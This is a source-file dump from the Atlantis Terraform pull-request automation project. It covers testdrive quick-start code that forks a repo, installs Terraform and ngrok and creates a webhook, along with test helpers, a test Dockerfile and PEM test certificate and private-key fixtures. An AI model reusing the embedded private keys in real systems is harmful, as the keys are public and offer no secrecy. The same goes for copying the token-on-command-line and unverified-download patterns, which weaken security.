6bvLyg+VlYT/SU7lXJc2Dmdtehe7C/yckNpl+Zjj/8nkNRYfqJ2g8iwHASOWO7+V vdg91Ti6eC+OMjg54iSmd2rZQ6734I+hSo3C/l4alkOArjDumQPddynjMiOaB67u S67+vyBwbQq10BxOgJOhY/wQnLBJhOUhWh+UrjnL1LsET6qQicLwTzt/1cWzXmYS I8gTs0um+7r5WCB/Raf++KhboCtX3zEj6CV164ucEV65y2vQRIa7PQH+znCHGxbT nnZdielbJPc0S2hVtL2cRqocKCdEYKY3co27Hgvt/M7byETyLbmxbMK1r4f4icr9 dyqKeY6aT+PxZ43nggYdAgMBAAEwDQYJKoZIhvcNAQELBQADggEBAJTVkyx5SGnh J5hKOgseJbh4AvwPB++jsrN+z5FE5A6WR/3zZA2bfUuit5uKLAQ0di3l03bZf+2l zvxLmmeShOArzkaCQ0IRZdHl7rIaFHignikHnon1/fkBVqOoi+R0Hsn6GhVoQYo/ C7zxQYyM/57Yw1VOW9vheIhvNgomv4GxaztrGEVT5tG58j9BgKqKYOfsHz07rYXc S2/iMML0xsgj5vXq9XiNJ0NVT3hD+LBnR5DZG64ITP9AgK22VeYKQrXiPWuzacKC zn+ptHXFDeqofAS6UoelrQ4ZchIsc48IsWdIW5SI3FOfiao4R0l5T7BqToSyP5V2 DYLLTHTfIL4= -----END CERTIFICATE----- ================================================ FILE: testdata/key.pem ================================================ -----BEGIN PRIVATE KEY----- MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDQ+d1Yhu2MBljr o63hbYJk3NgMjhiHQzvV2Uy9C6UnXZ0pELWa3utYx+rTAJUjOWxfed59qF2IGAAM Wmm7GQt/Apz0AMtU1uSYzQGYQkWVnAODKRtUC+nBrJYnW4r1zY1/duP74rVuLMFL WhlgO7XPHbtQK5psYlXLmiyaljWpIMnj3pf/H1MUue+AD9yTpg+sRKscnbNsOVB8 NV7ZmfpeddTkNuQL1d1KqfzF6bKz+zbyrcBz+NHC1SmvCGViRie/nE7UDd5OyHA4 WM21CDfLvCJxmKG69nFDY8Z8EPu/WGWYndeG0piefdlFpZ8GQTpmxD7dgcZ6M3fn CIdXZvp/AgMBAAECggEANjUaXaRiajgbSMSkjh1B/bfrsxYI9s1R8B718PPcW2HF KqnS8eFxWw5As4srJH/4xKtwM1hBKtRO7uVlF8tfWArte73ZAKDdm2VSTJSkSDK4 FoXLOPn+IOcL7Bmq6ifv1GiaqvQb7ABgA5PTkUrr1lX4CMvGuuanKrFLcK4WLVCD 9+GHiduaV0BfTPA3RmszrA4zLOXlI+5zlGwGNb5pUz914i9Lk0feIYbOXRMx9M+U FmDrKvasIXguUHGRWZ7D7ugV6j5/BTuCBjbzH6067YkA4NnXfiSKNTkedz+qTkGC IJXUCPMDzy6TKbdPMx94OKot14f0qaGZx8zZ0taLAQKBgQDwfoT4gYKl+X/3X0aG IZ5tSaLzAXKdlZ55W8YXCWDUX/b3YULGzILqEiS5RgnRIA0tGbtu3PMXtiol5Iff e4ywSZGilvvPJBbw17l8iC3Y/rnHp6wlOhVusdjozBhOuc3CQj3k56p0OXyahmzN eHp/zsOMimIeef2ZlskmvXZqjwKBgQDecx8VQoi8Ph8/IDD/2P6wIU73qv57AY8K pRQqRX3zffEN6nr0Xnlb44Oy/zA/5/7FNcEF4D2jhPQF8zkOll5tf0HlbVAVIlfC F5o8t0S05Uj5a6zAkc34bCV+oWwvCmxk5vCvDl2POAiO+dqYxom4bFsxRmMOf1VC hh5YDXcpEQKBgQChc36XSnLINCipjIfO8nDmU6IWW6lzi4d5V5gzzPL5gHdO+jeX OKLGu2l2DEP45fiSh4ziT2jPSVcgWzywVsRLcQhZS90+4a6Y/2oh5VZKMC/Ojo0t 7MGIr9K77pB/AZPVzxy4OKKhJhq1rnsKsdAjT07OYfSfGyyaWLUv0c/WlwKBgQDR pYOk4LjHWHDQaIFljtexnSK0TgZaXUS3To8rq6Shh49YgyVwC12q2Uh0uQZ7JCU7 LYcGB6lv48yrkueyNMs3vRiYpiY0VNKKjP4CvOJW7kSRNQZx0rhgqWPI7U9tIhC4 I+KvyQUqBjAit51qIKsJEa38SY7vydfLw2TzrXUhUQKBgBgxh9csF9JQfMRKO1Nv g5YWGFHdujl1Y2Qnf9nWHhQKy2wmCCoD0a0aRs6p0tyZXyqJfyBrPBEGF3VUONqf OK1b5tSj3w+APFW0hNFQABE8lRYBA/Qq6dAf+pTnDF0+ak9DKzlafhFI7w0dOZU2 bYCXCqkOjIcnONDRDr04jE8c -----END PRIVATE KEY----- ================================================ FILE: testdata/key2.pem ================================================ -----BEGIN PRIVATE KEY----- MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC+6bvLyg+VlYT/ SU7lXJc2Dmdtehe7C/yckNpl+Zjj/8nkNRYfqJ2g8iwHASOWO7+Vvdg91Ti6eC+O Mjg54iSmd2rZQ6734I+hSo3C/l4alkOArjDumQPddynjMiOaB67uS67+vyBwbQq1 0BxOgJOhY/wQnLBJhOUhWh+UrjnL1LsET6qQicLwTzt/1cWzXmYSI8gTs0um+7r5 WCB/Raf++KhboCtX3zEj6CV164ucEV65y2vQRIa7PQH+znCHGxbTnnZdielbJPc0 S2hVtL2cRqocKCdEYKY3co27Hgvt/M7byETyLbmxbMK1r4f4icr9dyqKeY6aT+Px Z43nggYdAgMBAAECggEAKUNxsLFivu0LSvY4VEC3+hoQ5sut12LW3aw9WC8jiZwe sfF7b6pNL51IQNdRLsaJOT9IPs0YLs2NUcmu92vWihhjgsQrTC5APRdVHqFGC68Q tf5wWxG9kR+RcSbEJSWl/KFlGHCM/V/EIdnyVFFcF1T6BUkonStZLuVA0Cz8Fv7r MO2mtmwtOcTAQaUqHSxdcq9ASmuh3QA9tUmn11oCjHwVbKrFrKNQW20vSn71pk4Z UiXnppRi7tk1t+PJb4VIEdUTw3JYwtp/HRgnfQ8VFDxWxWDPL4hHkBU270i7oIr3 +DR0+A1eylCuKXO5Il75uMYs8mKjFyGCLFWoGWtW7QKBgQDlAva0FYrbDUFmdUjz MCOVfOoPkaQB1bd9CK21b8HxGrcXbXwJzs/n2RV4GHZgodSADN2+fKvslpJofD3z Cnim60MJ8WcxB8Ez+Jvfktap8Kox0qQEZPpIN9hQxBxcXaLL+9TcWvkYJwCDjy+7 LmfHEh9puECnxw5YAlHAreRCowKBgQDVaWB80Ehp9Q4McescrUtbsA0CYI3mkZgx 6YU44/+DqiQStwQLttaOXvI4HXUqTdQgi8wMIJN/EOkMeAA1tuyULXJK9dkEB1pm zHF65USCr29g2hr/PsLckryKMtnyDGRW7YimXz8P03t5LfJ/M6Ovc7QJm6HSwCkS FyxrvU3gPwKBgCcWlGk0bBjrcEg+qI7pnok7Yu/5Wdb+VW0/9/ZJ9v5iIvIau9so s4/NG7793easeIrKp2aF/QpKwP6YhjJfjSxgZ3bg/039Ftr6ChDlDULAUyxh2aDu Y1HERmWys2yIhuruNuzNkkqvDYVnASyfxRLTYw02Z8K7VRVsf+u1QoqlAoGBAJ6i HNnKTPmN8apoh3aijhCSdakdsn0AHpyDU8btG4J4VyYeKoC2oRflFbGGnBAdGCA1 KjCdimX6YPEmxiknVwXyHjIAOxdWi+k78OKER3/I/kaE+Wpf8aLZ5BHqKL1WXsOK /3eD9zFBZ1e1Qrsw3GxP2jUGHay1sBHFbfyME7YrAoGAXaa9GiSi/HjOgOS8nzGf OzSl+I/fm651QjQ0tRVjVH777P3ZYyjdZNFYDb0x+fsvqTbkfkVtgeWuyoAVIwqy BtWyvTYutjwwUi53oIpRBe3qhIWIQUZgyAwXVis8FChSv3aaCePij+Bwju6laIfj +K5StCn2WaOE1d1akqF6C40= -----END PRIVATE KEY----- ================================================ FILE: testdrive/github.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package testdrive import ( "context" "strings" "time" "github.com/google/go-github/v83/github" ) var githubUsername string var githubToken string // Client used for GitHub interactions. type Client struct { client *github.Client ctx context.Context } // CreateFork forks a GitHub repo into the user's account that is authenticated. func (g *Client) CreateFork(owner string, repoName string) error { _, _, err := g.client.Repositories.CreateFork(g.ctx, owner, repoName, nil) // The GitHub client returns an error even though the fork was successful. // In order to figure out the exact error we will need to check the message. if err != nil && !strings.Contains(err.Error(), "job scheduled on GitHub side; try again later") { return err } return nil } // CheckForkSuccess waits for github fork to complete. // Forks can take up to 5 minutes to complete according to GitHub. func (g *Client) CheckForkSuccess(ownerName string, forkRepoName string) bool { for range 5 { if err := g.CreateFork(ownerName, forkRepoName); err == nil { return true } time.Sleep(2 * time.Second) } return false } // CreateWebhook creates a GitHub webhook to send requests to our local ngrok. func (g *Client) CreateWebhook(ownerName string, repoName string, hookURL string) error { contentType := "json" hookConfig := &github.HookConfig{ ContentType: github.Ptr(contentType), URL: github.Ptr(hookURL), } atlantisHook := &github.Hook{ Events: []string{"issue_comment", "pull_request", "pull_request_review", "push"}, Config: hookConfig, Active: github.Ptr(true), } _, _, err := g.client.Repositories.CreateHook(g.ctx, ownerName, repoName, atlantisHook) return err } // CreatePullRequest creates a GitHub pull request with custom title and // description. If there's already a pull request open for this branch it will // return successfully. func (g *Client) CreatePullRequest(ownerName string, repoName string, head string, base string) (string, error) { // First check if the pull request already exists. pulls, _, err := g.client.PullRequests.List(g.ctx, ownerName, repoName, nil) if err != nil { return "", err } for _, pull := range pulls { if pull.Head.GetRef() == head && pull.Base.GetRef() == base { return pull.GetHTMLURL(), nil } } // If not, create it. newPullRequest := &github.NewPullRequest{ Title: github.Ptr("Welcome to Atlantis!"), Head: github.Ptr(head), Body: github.Ptr(pullRequestBody), Base: github.Ptr(base), } pull, _, err := g.client.PullRequests.Create(g.ctx, ownerName, repoName, newPullRequest) if err != nil { return "", err } return pull.GetHTMLURL(), nil } ================================================ FILE: testdrive/testdrive.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. // // Package testdrive is used by the testdrive command as a quick-start of // Atlantis. package testdrive import ( "context" "fmt" "os" "os/exec" "os/signal" "regexp" "runtime" "strings" "sync" "syscall" "time" "github.com/briandowns/spinner" "github.com/google/go-github/v83/github" "github.com/mitchellh/colorstring" ) var terraformExampleRepoOwner = "runatlantis" var terraformExampleRepo = "atlantis-example" var bootstrapDescription = `Welcome to Atlantis testdrive! This mode sets up Atlantis on a test repo so you can try it out. We will - fork an example terraform project to your username - install terraform (if not already in your PATH) - install ngrok so we can expose Atlantis to GitHub - start Atlantis [bold]Press Ctrl-c at any time to exit ` var pullRequestBody = strings.ReplaceAll(` In this pull request we will learn how to use Atlantis. 1. In a couple of seconds you should see the output of Atlantis automatically running $terraform plan$. 1. You can manually run $plan$ by typing a comment: $$$ atlantis plan $$$ Usually you'll let Atlantis automatically run plan for you though. 1. To see all the comment commands available, type: $$$ atlantis help $$$ 1. To see the help for a specific command, for example $atlantis plan$, type: $$$ atlantis plan --help $$$ 1. Atlantis holds a "Lock" on this directory to prevent other pull requests modifying the Terraform state until this pull request is merged. To view the lock, go to the Atlantis UI: [http://localhost:4141](http://localhost:4141). If you wanted, you could manually delete the plan and lock from the UI if you weren't ready to apply. Instead, we will apply it! 1. To $terraform apply$ this change (which does nothing because it is creating a $null_resource$), type: $$$ atlantis apply $$$ **NOTE:** Because this example isn't using [remote state storage](https://developer.hashicorp.com/terraform/language/state/remote) the state will be lost once the pull request is merged. To use Atlantis properly, you **must** be using remote state. 1. Finally, merge the pull request to unlock this directory. Thank you for trying out Atlantis! Next, try using Atlantis on your own repositories: [www.runatlantis.io/guide/getting-started.html](https://www.runatlantis.io/guide/getting-started.html).`, "$", "`") // Start begins the testdrive process. // nolint: errcheck func Start() error { s := spinner.New(spinner.CharSets[14], 100*time.Millisecond) colorstring.Println(bootstrapDescription) colorstring.Print("\n[bold]github.com username: ") fmt.Scanln(&githubUsername) if githubUsername == "" { return fmt.Errorf("please enter a valid github username") } colorstring.Println(` To continue, we need you to create a GitHub personal access token with [green]"repo" [reset]scope so we can fork an example terraform project. Follow these instructions to create a token (we don't store any tokens): [green]https://docs.github.com/en/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token#creating-a-fine-grained-personal-access-token[reset] - use "atlantis" for the token description - add "repo" scope - copy the access token `) // Read github token, check for error later. colorstring.Print("[bold]GitHub access token (will be hidden): ") githubToken, _ = readPassword() tp := github.BasicAuthTransport{ Username: strings.TrimSpace(githubUsername), Password: strings.TrimSpace(githubToken), } githubClient := &Client{client: github.NewClient(tp.Client()), ctx: context.Background()} // Fork terraform example repo. colorstring.Println("\n=> forking repo ") s.Start() if err := githubClient.CreateFork(terraformExampleRepoOwner, terraformExampleRepo); err != nil { return fmt.Errorf("forking repo %s/%s: %w", terraformExampleRepoOwner, terraformExampleRepo, err) } if !githubClient.CheckForkSuccess(terraformExampleRepoOwner, terraformExampleRepo) { return fmt.Errorf("didn't find forked repo %s/%s. fork unsuccessful", terraformExampleRepoOwner, terraformExampleRepo) } s.Stop() colorstring.Println("[green]=> fork completed![reset]") // Detect terraform and install it if not installed. terraformPath, err := exec.LookPath("terraform") if err != nil { colorstring.Println("[yellow]=> terraform not found in $PATH.[reset]") colorstring.Println("=> downloading terraform ") s.Start() terraformDownloadURL := fmt.Sprintf("%s/terraform/%s/terraform_%s_%s_%s.zip", hashicorpReleasesURL, terraformVersion, terraformVersion, runtime.GOOS, runtime.GOARCH) if err = downloadAndUnzip(terraformDownloadURL, "/tmp/terraform.zip", "/tmp"); err != nil { return fmt.Errorf("downloading and unzipping terraform: %w", err) } colorstring.Println("[green]=> downloaded terraform successfully![reset]") s.Stop() err = executeCmd("mv", "/tmp/terraform", "/usr/local/bin/") if err != nil { return fmt.Errorf("moving terraform binary into /usr/local/bin: %w", err) } colorstring.Println("[green]=> installed terraform successfully at /usr/local/bin[reset]") } else { colorstring.Printf("[green]=> terraform found in $PATH at %s\n[reset]", terraformPath) } // Detect ngrok and install it if not installed ngrokPath, ngrokErr := exec.LookPath("ngrok") if ngrokErr != nil { colorstring.Println("[yellow]=> ngrok not found in $PATH.[reset]") colorstring.Println("=> downloading ngrok") s.Start() ngrokURL := fmt.Sprintf("%s/ngrok-stable-%s-%s.zip", ngrokDownloadURL, runtime.GOOS, runtime.GOARCH) if err = downloadAndUnzip(ngrokURL, "/tmp/ngrok.zip", "/tmp"); err != nil { return fmt.Errorf("downloading and unzipping ngrok: %w", err) } s.Stop() colorstring.Println("[green]=> downloaded ngrok successfully![reset]") ngrokPath = "/tmp/ngrok" } else { colorstring.Printf("[green]=> ngrok found in $PATH at %s\n[reset]", ngrokPath) } // Create ngrok tunnel. colorstring.Println("=> creating secure tunnel") s.Start() // We use a config file so we can set ngrok's API port (web_addr). We use // the API to get the public URL and if there's already ngrok running, it // will just choose a random API port and we won't be able to get the right // url. ngrokConfig := fmt.Sprintf(` version: 1 web_addr: %s tunnels: atlantis: addr: %d bind_tls: true proto: http `, ngrokAPIURL, atlantisPort) ngrokConfigFile, err := os.CreateTemp("", "atlantis-testdrive-ngrok-config") if err != nil { return fmt.Errorf("creating ngrok config file: %w", err) } err = os.WriteFile(ngrokConfigFile.Name(), []byte(ngrokConfig), 0600) if err != nil { return fmt.Errorf("writing ngrok config file: %w", err) } // Used to ensure proper termination of all background commands. var wg sync.WaitGroup defer wg.Wait() tunnelReadyLog := regexp.MustCompile("client session established") tunnelTimeout := 20 * time.Second cancelNgrok, ngrokErrors, err := execAndWaitForStderr(&wg, tunnelReadyLog, tunnelTimeout, ngrokPath, "start", "atlantis", "--config", ngrokConfigFile.Name(), "--log", "stderr", "--log-format", "term") // Check if we got a fast error. Move on if we haven't (the command is still running). if err != nil { s.Stop() return fmt.Errorf("creating ngrok tunnel: %w", err) } // When this function returns, ngrok tunnel should be stopped. defer cancelNgrok() // The tunnel is up! s.Stop() colorstring.Println("[green]=> started tunnel![reset]") // There's a 1s delay between tunnel starting and API being up. time.Sleep(1 * time.Second) tunnelURL, err := getTunnelAddr() if err != nil { return fmt.Errorf("getting tunnel url: %w", err) } // Start atlantis server. colorstring.Println("=> starting atlantis server") s.Start() tmpDir, err := os.MkdirTemp("", "") if err != nil { return fmt.Errorf("creating a temporary data directory for Atlantis: %w", err) } defer os.RemoveAll(tmpDir) serverReadyLog := regexp.MustCompile("Atlantis started - listening on port 4141") serverReadyTimeout := 5 * time.Second cancelAtlantis, atlantisErrors, err := execAndWaitForStderr(&wg, serverReadyLog, serverReadyTimeout, os.Args[0], "server", "--gh-user", githubUsername, "--gh-token", githubToken, "--data-dir", tmpDir, "--atlantis-url", tunnelURL, "--repo-allowlist", fmt.Sprintf("github.com/%s/%s", githubUsername, terraformExampleRepo)) // Check if we got a fast error. Move on if we haven't (the command is still running). if err != nil { return fmt.Errorf("creating atlantis server: %w", err) } // When this function returns atlantis server should be stopped. defer cancelAtlantis() colorstring.Printf("[green]=> atlantis server is now securely exposed at [bold][underline]%s\n[reset]", tunnelURL) fmt.Println("") // Create atlantis webhook. colorstring.Println("=> creating atlantis webhook") s.Start() err = githubClient.CreateWebhook(githubUsername, terraformExampleRepo, fmt.Sprintf("%s/events", tunnelURL)) if err != nil { return fmt.Errorf("creating atlantis webhook: %w", err) } s.Stop() colorstring.Println("[green]=> atlantis webhook created![reset]") // Create a new pr in the example repo. colorstring.Println("=> creating a new pull request") s.Start() pullRequestURL, err := githubClient.CreatePullRequest(githubUsername, terraformExampleRepo, "example", "main") if err != nil { return fmt.Errorf("creating new pull request for repo %s/%s: %w", githubUsername, terraformExampleRepo, err) } s.Stop() colorstring.Println("[green]=> pull request created![reset]") // Open new pull request in the browser. colorstring.Println("=> opening pull request") s.Start() time.Sleep(2 * time.Second) err = executeCmd("open", pullRequestURL) if err != nil { colorstring.Printf("[red]=> opening pull request failed. please go to: %s on the browser\n[reset]", pullRequestURL) } s.Stop() // Wait for ngrok and atlantis server process to finish. colorstring.Println("[_green_][light_green]atlantis is running [reset]") s.Start() colorstring.Println("[green] [press Ctrl-c to exit][reset]") // Wait for SIGINT or SIGTERM signals meaning the user has Ctrl-C'd the // testdrive process and want's to stop. signalChan := make(chan os.Signal, 1) signal.Notify(signalChan, syscall.SIGINT, syscall.SIGTERM) // Keep checking for errors from ngrok or atlantis server. Exit normally on shutdown signal. select { case <-signalChan: colorstring.Println("\n[red]shutdown signal received, exiting....[reset]") colorstring.Println("\n[green]Thank you for using atlantis :) \n[reset]For more information about how to use atlantis in production go to: https://www.runatlantis.io") return nil case err := <-ngrokErrors: if err != nil { err = fmt.Errorf("ngrok tunnel: %w", err) } return err case err := <-atlantisErrors: if err != nil { err = fmt.Errorf("atlantis server: %w", err) } return err } } ================================================ FILE: testdrive/utils.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package testdrive import ( "archive/zip" "bufio" "context" "encoding/json" "fmt" "io" "net/http" "os" "os/exec" "path/filepath" "regexp" "strings" "sync" "syscall" "time" "golang.org/x/term" ) const hashicorpReleasesURL = "https://releases.hashicorp.com" const terraformVersion = "1.14.5" // renovate: datasource=github-releases depName=hashicorp/terraform versioning=hashicorp const ngrokDownloadURL = "https://bin.equinox.io/c/4VmDzA7iaHb" const ngrokAPIURL = "localhost:41414" // We hope this isn't used. const atlantisPort = 4141 func readPassword() (string, error) { password, err := term.ReadPassword(int(syscall.Stdin)) // nolint: unconvert return string(password), err } func downloadFile(url string, path string) error { output, err := os.Create(path) if err != nil { return err } defer output.Close() // nolint: errcheck response, err := http.Get(url) // nolint: gosec if err != nil { return err } defer response.Body.Close() // nolint: errcheck _, err = io.Copy(output, response.Body) return err } // This function is used to sanitize the file path to avoid a "zip slip" attack // source: https://github.com/securego/gosec/issues/324#issuecomment-935927967 func sanitizeArchivePath(d, t string) (v string, err error) { v = filepath.Join(d, t) if strings.HasPrefix(v, filepath.Clean(d)) { return v, nil } return "", fmt.Errorf("%s: %s", "content filepath is tainted", t) } func unzip(archive, target string) error { reader, err := zip.OpenReader(archive) if err != nil { return err } for _, file := range reader.File { path, err := sanitizeArchivePath(target, file.Name) if err != nil { return err } if file.FileInfo().IsDir() { if err := os.MkdirAll(path, file.Mode()); err != nil { return err } continue } fileReader, err := file.Open() if err != nil { return err } defer fileReader.Close() // nolint: errcheck targetFile, err := os.OpenFile(path, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, file.Mode()) if err != nil { return err } defer targetFile.Close() // nolint: errcheck for { _, err := io.CopyN(targetFile, fileReader, 1024) if err != nil { if err == io.EOF { break } return err } } } return nil } func getTunnelAddr() (string, error) { tunAPI := fmt.Sprintf("http://%s/api/tunnels", ngrokAPIURL) response, err := http.Get(tunAPI) // nolint: gosec if err != nil { return "", err } defer response.Body.Close() // nolint: errcheck type tunnels struct { Tunnels []struct { PublicURL string `json:"public_url"` Proto string `json:"proto"` Config struct { Addr string `json:"addr"` } `json:"config"` } `json:"tunnels"` } var t tunnels body, err := io.ReadAll(response.Body) if err != nil { return "", fmt.Errorf("reading ngrok api: %w", err) } if err = json.Unmarshal(body, &t); err != nil { return "", fmt.Errorf("parsing ngrok api: %s: %w", string(body), err) } // Find the tunnel we just created. expAtlantisURL := fmt.Sprintf("http://localhost:%d", atlantisPort) for _, tun := range t.Tunnels { if tun.Proto == "https" && tun.Config.Addr == expAtlantisURL { return tun.PublicURL, nil } } return "", fmt.Errorf("did not find ngrok tunnel with proto 'https' and config.addr '%s' in list of tunnels at %s\n%s", expAtlantisURL, tunAPI, string(body)) } func downloadAndUnzip(url string, path string, target string) error { if err := downloadFile(url, path); err != nil { return err } return unzip(path, target) } // executeCmd executes a command, waits for it to finish and returns any errors. func executeCmd(cmd string, args ...string) error { command := exec.Command(cmd, args...) // #nosec bytes, err := command.CombinedOutput() if err != nil { return fmt.Errorf("%s: %s", err, bytes) } return nil } // execAndWaitForStderr executes a command with name and args. It waits until // timeout for the stderr output of the command to match stderrMatch. If the // timeout comes first, then it cancels the command and returns the error as // error (not on the channel). Otherwise the function returns and the command // continues to run in the background. Any errors after this point are passed // onto the error channel and the command is stopped. We increment the wg // so that callers can wait until command is killed before exiting. // The cancelFunc can be used to stop the command but callers should still wait // for the wg to be Done to ensure the command completes its cancellation // process. func execAndWaitForStderr(wg *sync.WaitGroup, stderrMatch *regexp.Regexp, timeout time.Duration, name string, args ...string) (context.CancelFunc, <-chan error, error) { ctx, cancel := context.WithCancel(context.Background()) errChan := make(chan error, 1) // Set up the command and stderr pipe. command := exec.CommandContext(ctx, name, args...) // #nosec stderr, err := command.StderrPipe() if err != nil { return cancel, errChan, fmt.Errorf("creating stderr pipe: %w", err) } // Start the command in the background. This will only return error if the // command is not executable. err = command.Start() if err != nil { return cancel, errChan, fmt.Errorf("starting command: %v", err) } // Wait until we see the desired output or time out. foundLine := make(chan bool, 1) scanner := bufio.NewScanner(stderr) var log strings.Builder // This goroutine watches the process stderr and sends true along the // foundLine channel if a line matches. go func() { for scanner.Scan() { text := scanner.Text() log.WriteString(text + "\n") if stderrMatch.MatchString(text) { foundLine <- true break } } }() // Block on either finding a matching line or timeout. select { case <-foundLine: // If we find the line, continue. case <-time.After(timeout): // If it's a timeout we cancel the command ourselves. cancel() // We still need to wait for the command to finish. command.Wait() // nolint: errcheck return cancel, errChan, fmt.Errorf("timeout, logs:\n%s\n", log.String()) // nolint: staticcheck, revive } // Increment the wait group so callers can wait for the command to finish. wg.Go(func() { err := command.Wait() errChan <- err }) return cancel, errChan, nil } ================================================ FILE: testing/Dockerfile ================================================ FROM golang:1.25.3@sha256:6bac879c5b77e0fc9c556a5ed8920e89dab1709bd510a854903509c828f67f96 RUN apt-get update && apt-get --no-install-recommends -y install unzip \ && apt-get clean \ && rm -rf /var/lib/apt/lists/* # Install Terraform # renovate: datasource=github-releases depName=hashicorp/terraform versioning=hashicorp ENV TERRAFORM_VERSION=1.14.5 RUN case $(uname -m) in x86_64|amd64) ARCH="amd64" ;; aarch64|arm64|armv7l) ARCH="arm64" ;; esac && \ wget -nv -O terraform.zip https://releases.hashicorp.com/terraform/${TERRAFORM_VERSION}/terraform_${TERRAFORM_VERSION}_linux_${ARCH}.zip && \ mkdir -p /usr/local/bin/tf/versions/${TERRAFORM_VERSION} && \ unzip terraform.zip -d /usr/local/bin/tf/versions/${TERRAFORM_VERSION} && \ ln -s /usr/local/bin/tf/versions/${TERRAFORM_VERSION}/terraform /usr/local/bin/terraform && \ rm terraform.zip # Install conftest # renovate: datasource=github-releases depName=open-policy-agent/conftest ENV CONFTEST_VERSION=0.66.0 SHELL ["/bin/bash", "-o", "pipefail", "-c"] RUN case $(uname -m) in x86_64|amd64) ARCH="x86_64" ;; aarch64|arm64|armv7l) ARCH="arm64" ;; esac && \ curl -LOs https://github.com/open-policy-agent/conftest/releases/download/v${CONFTEST_VERSION}/conftest_${CONFTEST_VERSION}_Linux_${ARCH}.tar.gz && \ curl -LOs https://github.com/open-policy-agent/conftest/releases/download/v${CONFTEST_VERSION}/checksums.txt && \ sed -n "/conftest_${CONFTEST_VERSION}_Linux_${ARCH}.tar.gz/p" checksums.txt | sha256sum -c && \ mkdir -p /usr/local/bin/cft/versions/${CONFTEST_VERSION} && \ tar -C /usr/local/bin/cft/versions/${CONFTEST_VERSION} -xzf conftest_${CONFTEST_VERSION}_Linux_${ARCH}.tar.gz && \ # Generally Atlantis requires `conftest$version` command. But we use `conftest` command in test. # `conftest$version` command blocks upgrading conftest operation cause e2e test use this image. ln -s /usr/local/bin/cft/versions/${CONFTEST_VERSION}/conftest /usr/local/bin/conftest && \ rm conftest_${CONFTEST_VERSION}_Linux_${ARCH}.tar.gz && \ rm checksums.txt RUN useradd -u 1001 -m atlantis USER atlantis ================================================ FILE: testing/assertions.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package testing import ( "strings" "testing" "github.com/go-test/deep" "github.com/kr/pretty" ) // Assert fails the test if the condition is false. // Taken from https://github.com/benbjohnson/testing. func Assert(tb testing.TB, condition bool, msg string, v ...any) { tb.Helper() if !condition { errLog(tb, msg, v...) tb.FailNow() } } // Ok fails the test if an err is not nil. // Taken from https://github.com/benbjohnson/testing. func Ok(tb testing.TB, err error) { tb.Helper() if err != nil { errLog(tb, "unexpected error: %s", err.Error()) tb.FailNow() } } // Equals fails the test if exp is not equal to act. // Taken from https://github.com/benbjohnson/testing. func Equals(tb testing.TB, exp, act any) { tb.Helper() if diff := deep.Equal(exp, act); diff != nil { errLog(tb, "%s\n\nexp: %s******\ngot: %s", diff, pretty.Sprint(exp), pretty.Sprint(act)) tb.FailNow() } } // ErrEquals fails the test if act is nil or act.Error() != exp func ErrEquals(tb testing.TB, exp string, act error) { tb.Helper() if act == nil { errLog(tb, "exp err %q but err was nil\n", exp) tb.FailNow() } if act.Error() != exp { errLog(tb, "exp err: %q but got: %q\n", exp, act.Error()) tb.FailNow() } } // ErrContains fails the test if act is nil or act.Error() does not contain // substr. func ErrContains(tb testing.TB, substr string, act error) { tb.Helper() if act == nil { errLog(tb, "exp err to contain %q but err was nil", substr) tb.FailNow() } if !strings.Contains(act.Error(), substr) { errLog(tb, "exp err %q to contain %q", act.Error(), substr) tb.FailNow() } } // Contains fails the test if the slice doesn't contain the expected element func Contains(tb testing.TB, exp any, slice []string) { tb.Helper() for _, v := range slice { if v == exp { return } } errLog(tb, "exp: %#v\n\n\twas not in: %#v", exp, slice) tb.FailNow() } func errLog(tb testing.TB, fmt string, args ...any) { tb.Helper() tb.Logf("\033[31m"+fmt+"\033[39m", args...) } ================================================ FILE: testing/hooks/post_push ================================================ #!/bin/bash docker tag $IMAGE_NAME $DOCKER_REPO:$SOURCE_COMMIT docker push $DOCKER_REPO:$SOURCE_COMMIT ================================================ FILE: testing/http.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package testing import ( "io" "net/http/httptest" "strings" "testing" ) func ResponseContains(t *testing.T, r *httptest.ResponseRecorder, status int, bodySubstr string) { t.Helper() body, err := io.ReadAll(r.Result().Body) Ok(t, err) Assert(t, status == r.Result().StatusCode, "exp %d got %d, body: %s", status, r.Result().StatusCode, string(body)) Assert(t, strings.Contains(string(body), bodySubstr), "exp %q to be contained in %q", bodySubstr, string(body)) } ================================================ FILE: testing/temp_files.go ================================================ // Copyright 2025 The 